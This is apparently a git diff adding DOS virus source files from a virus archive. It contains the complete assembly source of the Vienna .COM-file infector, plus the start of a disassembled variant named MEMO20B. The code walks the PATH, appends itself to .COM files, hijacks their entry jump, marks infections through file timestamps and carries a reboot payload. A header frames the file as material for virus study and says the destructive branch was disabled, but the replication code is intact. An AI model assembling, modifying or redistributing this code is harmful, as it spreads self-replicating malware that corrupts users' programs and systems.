SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + + +;********************************************************** +; Look in the PATH for more subdirectories, if any +;********************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + + +;********************************************************** +; Here if there are more subdirectories in the path +;********************************************************** + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + + +;*********************************************************** +; Move subdirectory name into file name workspace +;*********************************************************** + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +;****************************************************************** +; Mark the fact that we're looking through the final subdirectory +;****************************************************************** + +moved_last_one: + MOV SI,0 + + +;****************************************************************** +; Here after we've moved a subdirectory +;****************************************************************** + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + +;****************************************************************** +; Make sure subdirectory ends in a "\" +;****************************************************************** + + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + + +;****************************************************************** +; Here after we know there's a backslash at end of subdir +;****************************************************************** + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + + MOV SI,BX + + +;******************************************************************* +; Find first string matching *.COM +;******************************************************************* + + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + + JMP SHORT find_first + + +;******************************************************************* +; Find next ASCIIZ string matching *.COM +;******************************************************************* + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +;******************************************************************* +; Here when we find a file +;******************************************************************* + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +;******************************************************************** +; Move the name to the end of the path +;******************************************************************** + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + + +;******************************************************************** +; Get File Attributes +;******************************************************************** + + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + + + MOV [SI+old_att],CX ;Save the old attributes + + +;******************************************************************** +; Rewrite the attributes to allow writing to the file +;******************************************************************** + + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + +;******************************************************************** +; Open Read/Write channel to the file +;******************************************************************** + + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + + +;******************************************************************* +; Get the file date & time +;******************************************************************* + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + +;******************************************************************* +; Get current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + + AND DH,7 ;Last 3 bits 0? (once in eight) + +;******************************************************************* +; The following line is a change from the original virus. Originally +; the following line would be JNZ seven_in_eight. This would ruin +; about 1/8 of all .COM files infected, while the other 7/8 would +; be left workable, but infected. For the purpose of studying a +; live virus, the changed line is not so damaging. +;******************************************************************* + JMP SHORT seven_in_eight + + +;******************************************************************* +; The special "one in eight" infection. If the above line were in +; its original form, this code would be run 1/8 of the time, and +; rather than appending a copy of this virus to the .COM file, the +; file would get 5 bytes of code that reboot the system when the +; .COM file is run. +;******************************************************************* + + + MOV AH,40H ;Write to file + MOV CX,5 ;Five bytes + MOV DX,SI + ADD DX,reboot ;Offset of reboot code in data area + INT 21H + + JMP SHORT fix_time_stamp + + NOP + + +;****************************************************************** +; Here's where we infect a .COM file with this virus +;****************************************************************** + +seven_in_eight: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + + JB fix_time_stamp ;Quit, if read failed + + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + + +;****************************************************************** +; Move file pointer to end of file +;****************************************************************** + + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Quit, if it didn't work + + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + + +;******************************************************************* +; Write virus code to file +;******************************************************************* + + MOV AH,40H + + MOV_CX virlen ;Length of virus, in bytes + + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + + JB fix_time_stamp ;Jump if error + + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + + +;********************************************************************** +; Move file pointer to beginning of the file +;********************************************************************** + + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Jump if error + + +;********************************************************************** +; Write the 3 byte JMP at the start of the file +;********************************************************************** + + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + + +;********************************************************************** +; Restore old file date & time, with seconds modified to 62 +;********************************************************************** + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + + +;********************************************************************** +; Close File +;********************************************************************** + + MOV AH,3EH + INT 21H + + +;********************************************************************** +; Restore Old File Attributes +;********************************************************************** + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + + +;********************************************************************** +; Here when it's time to close it up & end +;********************************************************************** + +all_done: + PUSH DS + + +;********************************************************************** +; Restore old DTA +;********************************************************************** + + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + + RET 0FFFFH + +;************************************************************************ +;The virus data starts here. It's accessed off the SI register, per the +; comments as shown +;************************************************************************ + +vir_dat EQU $ + + + ;Use this with (SI + old_dta) +olddta_ DW 0 ;Old DTA offset + + ;Use this with (SI + old_dts) +olddts_ DW 0 ;Old DTA segment + + ;Use this with (SI + old_tim) +oldtim_ DW 0 ;Old Time + + ;Use this with (SI + ol_date) +oldate_ DW 0 ;Old date + + ;Use this with (SI + old_att) +oldatt_ DW 0 ;Old file attributes + + + +;Here's where the first three bytes of the original .COM file go.(SI + first_3) + +first3_ EQU $ + INT 20H + NOP + + + +;Here's where the new JMP instruction is worked out + + ;Use this with (SI + jmp_op) +jmpop_ DB 0E9H ;Start of JMP instruction + + ;Use this with (SI + jmp_dsp) +jmpdsp_ DW 0 ;The displacement part + + + +;This is the type of file we're looking to infect. (SI + f_spec) + +fspec_ DB '*.COM',0 + + ;Use this with (SI + path_ad) +pathad_ DW 0 ;Path address + + ;Use this with (SI + nam_ptr) +namptr_ DW 0 ;Pointer to start of file name + + ;Use this with (SI + env_str) +envstr_ DB 'PATH=' ;Find this in the environment + + ;File name workspace (SI + wrk_spc) +wrkspc_ DB 40h dup (0) + + ;Use this with (SI + dta) +dta_ DB 16h dup (0) ;Temporary DTA goes here + + ;Use this with (SI + dta_tim) +dtatim_ DW 0,0 ;Time stamp in DTA + + ;Use this with (SI + dta_len) +dtalen_ DW 0,0 ;File length in the DTA + + ;Use this with (SI + dta_nam) +dtanam_ DB 0Dh dup (0) ;File name in the DTA + + ;Use this with (SI + reboot) +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + + +;***************************************************************************** +;The virus needs to know a few details about its own size and the size of its +; code portion. Let the assembler figure out these sizes automatically. +;***************************************************************************** + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP + + +;***************************************************************************** +;Because this code is being appended to the end of an executable file, the +; exact address of its variables cannot be known. All are accessed as offsets +; from SI, which is represented as vir_dat in the below declarations. +;***************************************************************************** + +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + + CODE ENDS +END VCODE diff --git a/v/VIENNAC.ASM b/v/VIENNAC.ASM new file mode 100755 index 0000000..5c422bd --- /dev/null +++ b/v/VIENNAC.ASM @@ -0,0 +1,680 @@ +;***************************************************************************** +; +; *** NOT FOR GENERAL DISTRIBUTION *** The Vienna Virus +; +; This file is for the purpose of virus study only! It should not be passed +; around among the general public. It will be very useful for learning +; how viruses work and propagate. But anybody with access to an assembler +; can turn it into a working virus and anybody with a bit of assembly coding +; experience can turn it into a far more malevolent program than it already +; is. Keep this code in responsible hands! +; +; This program does not check wether or not the .COM file to be infected is +; really a .COM file or simply a misnamed .EXE file. DOS does not rely on the +; file extension, but does a double-check by looking for a signature that +; indicates wether or not a file REALLY is an .EXE file. The virus writer +; apparently did not know this. This virus will take any .EXE file that's +; been renamed to a .COM file and try to infect it, obscuring the signature +; that marks it as an .EXE file. When the infected file is then run, the +; virus code will run first, and then the machine will try to run the .EXE +; header data as though it were code. This is likely to crash the machine, and +; since some later versions of DOS itself contain such misnamed .EXE files, +; it's likely to happen. +; +;****************************************************************************** + +;****************************************************************************** +;It seems that MASM won't always willingly translate ordinary assembly code +; into the byte-for-byte replacement of the code in the Vienna Virus. Since +; MASM is just a 2 pass assembler, it doesn't always have enough information to +; figure out the size of an instruction when it needs to. To be safe, it makes +; its guess on the high side and then adds in unrequested NOPS if it needs to +; pad out the space it allocated. Many of the NOPs in this virus are the result +; of this. But the virus writer seems to have done a bit of hand modification +; to the virus, and as a result, one instance where we'd expect a NOP, there +; isn't one. This macro allows us to mimic that instance, where an ordinary +; MOV CX,xx would otherwise have worked fine. +;****************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +;***************************************************************************** +;Start out with a JMP around the remains of the original .COM file, into the +;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. +;The rest of the file (first 3 bytes) are stored in the virus data area. +;***************************************************************************** + +VCODE: JMP virus + + +;This was the rest of the original .COM file. Tiny and simple, this time + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + + +;************************************************************ +; The actual virus starts here +;************************************************************ + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + +;************************************************************* +; Check the DOS version +;************************************************************* + + MOV AH,30H + INT 21H + + CMP AL,0 ;0 means it's version 1.X + + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X + + +;************************************************************* +; Here if the DOS version is high enough for this to work +;************************************************************* + +dos_ok: PUSH ES + + +;************************************************************* +; Get DTA address into ES:BX +;************************************************************* + + MOV AH,2FH + INT 21H + +;************************************************************* +; Save the DTA address +;************************************************************* + + + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + + POP ES + +;************************************************************* +; Set DTA to point inside the virus data area +;************************************************************* + + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + + + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + +;************************************************************ +; Find the "PATH=" string in the environment +;************************************************************ + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +;************************************************************ +; Loop to check for the next four characters +;************************************************************ + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + + +;********************************************************** +; Look in the PATH for more subdirectories, if any +;********************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + + +;********************************************************** +; Here if there are more subdirectories in the path +;********************************************************** + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + + +;*********************************************************** +; Move subdirectory name into file name workspace +;*********************************************************** + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +;****************************************************************** +; Mark the fact that we're looking through the final subdirectory +;****************************************************************** + +moved_last_one: + MOV SI,0 + + +;****************************************************************** +; Here after we've moved a subdirectory +;****************************************************************** + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + +;****************************************************************** +; Make sure subdirectory ends in a "\" +;****************************************************************** + + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + + +;****************************************************************** +; Here after we know there's a backslash at end of subdir +;****************************************************************** + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + + MOV SI,BX + + +;******************************************************************* +; Find first string matching *.COM +;******************************************************************* + + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + + JMP SHORT find_first + + +;******************************************************************* +; Find next ASCIIZ string matching *.COM +;******************************************************************* + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +;******************************************************************* +; Here when we find a file +;******************************************************************* + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +;******************************************************************** +; Move the name to the end of the path +;******************************************************************** + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + + +;******************************************************************** +; Get File Attributes +;******************************************************************** + + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + + + MOV [SI+old_att],CX ;Save the old attributes + + +;******************************************************************** +; Rewrite the attributes to allow writing to the file +;******************************************************************** + + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + +;******************************************************************** +; Open Read/Write channel to the file +;******************************************************************** + + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + + +;******************************************************************* +; Get the file date & time +;******************************************************************* + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + +;******************************************************************* +; Get current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + + AND DH,7 ;Last 3 bits 0? (once in eight) + +;******************************************************************* +; The following line is a change from the original virus. Originally +; the following line would be JNZ seven_in_eight. This would ruin +; about 1/8 of all .COM files infected, while the other 7/8 would +; be left workable, but infected. For the purpose of studying a +; live virus, the changed line is not so damaging. +;******************************************************************* + JMP SHORT seven_in_eight + + +;******************************************************************* +; The special "one in eight" infection. If the above line were in +; its original form, this code would be run 1/8 of the time, and +; rather than appending a copy of this virus to the .COM file, the +; file would get 5 bytes of code that reboot the system when the +; .COM file is run. +;******************************************************************* + + + MOV AH,40H ;Write to file + MOV CX,5 ;Five bytes + MOV DX,SI + ADD DX,reboot ;Offset of reboot code in data area + INT 21H + + JMP SHORT fix_time_stamp + + NOP + + +;****************************************************************** +; Here's where we infect a .COM file with this virus +;****************************************************************** + +seven_in_eight: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + + JB fix_time_stamp ;Quit, if read failed + + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + + +;****************************************************************** +; Move file pointer to end of file +;****************************************************************** + + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Quit, if it didn't work + + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + + +;******************************************************************* +; Write virus code to file +;******************************************************************* + + MOV AH,40H + + MOV_CX virlen ;Length of virus, in bytes + + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + + JB fix_time_stamp ;Jump if error + + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + + +;********************************************************************** +; Move file pointer to beginning of the file +;********************************************************************** + + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Jump if error + + +;********************************************************************** +; Write the 3 byte JMP at the start of the file +;********************************************************************** + + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + + +;********************************************************************** +; Restore old file date & time, with seconds modified to 62 +;********************************************************************** + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + + +;********************************************************************** +; Close File +;********************************************************************** + + MOV AH,3EH + INT 21H + + +;********************************************************************** +; Restore Old File Attributes +;********************************************************************** + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + + +;********************************************************************** +; Here when it's time to close it up & end +;********************************************************************** + +all_done: + PUSH DS + + +;********************************************************************** +; Restore old DTA +;********************************************************************** + + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + + RET 0FFFFH + +;************************************************************************ +;The virus data starts here. It's accessed off the SI register, per the +; comments as shown +;************************************************************************ + +vir_dat EQU $ + + + ;Use this with (SI + old_dta) +olddta_ DW 0 ;Old DTA offset + + ;Use this with (SI + old_dts) +olddts_ DW 0 ;Old DTA segment + + ;Use this with (SI + old_tim) +oldtim_ DW 0 ;Old Time + + ;Use this with (SI + ol_date) +oldate_ DW 0 ;Old date + + ;Use this with (SI + old_att) +oldatt_ DW 0 ;Old file attributes + + + +;Here's where the first three bytes of the original .COM file go.(SI + first_3) + +first3_ EQU $ + INT 20H + NOP + + + +;Here's where the new JMP instruction is worked out + + ;Use this with (SI + jmp_op) +jmpop_ DB 0E9H ;Start of JMP instruction + + ;Use this with (SI + jmp_dsp) +jmpdsp_ DW 0 ;The displacement part + + + +;This is the type of file we're looking to infect. (SI + f_spec) + +fspec_ DB '*.COM',0 + + ;Use this with (SI + path_ad) +pathad_ DW 0 ;Path address + + ;Use this with (SI + nam_ptr) +namptr_ DW 0 ;Pointer to start of file name + + ;Use this with (SI + env_str) +envstr_ DB 'PATH=' ;Find this in the environment + + ;File name workspace (SI + wrk_spc) +wrkspc_ DB 40h dup (0) + + ;Use this with (SI + dta) +dta_ DB 16h dup (0) ;Temporary DTA goes here + + ;Use this with (SI + dta_tim) +dtatim_ DW 0,0 ;Time stamp in DTA + + ;Use this with (SI + dta_len) +dtalen_ DW 0,0 ;File length in the DTA + + ;Use this with (SI + dta_nam) +dtanam_ DB 0Dh dup (0) ;File name in the DTA + + ;Use this with (SI + reboot) +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + + +;***************************************************************************** +;The virus needs to know a few details about its own size and the size of its +; code portion. Let the assembler figure out these sizes automatically. +;***************************************************************************** + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP + + +;***************************************************************************** +;Because this code is being appended to the end of an executable file, the +; exact address of its variables cannot be known. All are accessed as offsets +; from SI, which is represented as vir_dat in the below declarations. +;***************************************************************************** + +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + + CODE ENDS +END VCODE diff --git a/v/VIENNAM2.ASM b/v/VIENNAM2.ASM new file mode 100755 index 0000000..ff30342 --- /dev/null +++ b/v/VIENNAM2.ASM @@ -0,0 +1,426 @@ + +PAGE 59,132 + +;========================================================================== +;== == +;== MEMO20B == +;== == +;== Created: 18-May-92 == +;== Passes: 5 Analysis Options on: QRSU == +;== == +;========================================================================== + + +; The following equates show data references outside the range of the program. + +data_1e equ 0 ; (0000:0000=0A3h) +data_2e equ 0 ; (580C:0000=0) +PSP_envirn_seg equ 2Ch ; (580C:002C=0) +data_4e equ 42h ; (580C:0042=0) +data_5e equ 82h ; (580C:0082=0) +data_6e equ 98h ; (580C:0098=0) +data_7e equ 9Ch ; (580C:009C=0) +data_8e equ 0A0h ; (580C:00A0=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +MEMO20B proc far + +start: + jmp short real_start ; (0112) + db 16 dup (90h) + +;========================================================================== +; +; External Entry Point +; +;========================================================================== + +real_start: ; xref 580C:0100 + push cx + mov dx,33Fh + cld ; Clear direction + mov si,dx + add si,2Dh + nop + mov di,100h ; (580C:0100=0EBh) + mov cx,3 + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov si,dx + mov ah,30h + int 21h ; DOS Services ah=function 30h + ; get DOS version number ax + cmp al,0 + + jne loc_1 ; Jump if not equal + jmp loc_21 ; (032D) +loc_1: ; xref 580C:012D + push es + mov ah,2Fh + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov [si+23h],bx + nop + mov [si+25h],es + nop + pop es + mov dx,data_5e ; (580C:0082=0) + nop + add dx,si + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + push es + push si + mov es,ds:PSP_envirn_seg ; (580C:002C=0) + mov di,data_1e ; (0000:0000=0A3h) +loc_2: ; xref 580C:0167 + nop + pop si + nop + push si + nop + add si,3Dh + nop + lodsb ; String [si] to al + mov cx,8000h + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov cx,4 + +locloop_3: ; xref 580C:0169 + lodsb ; String [si] to al + scasb ; Scan es:[di] for al + jnz loc_2 ; Jump if not zero + loop locloop_3 ; Loop if cx > 0 + + pop si + pop es + mov [si+39h],di + nop + mov di,si + add di,42h + nop + mov bx,si + add si,42h + nop + mov di,si + jmp short loc_9 ; 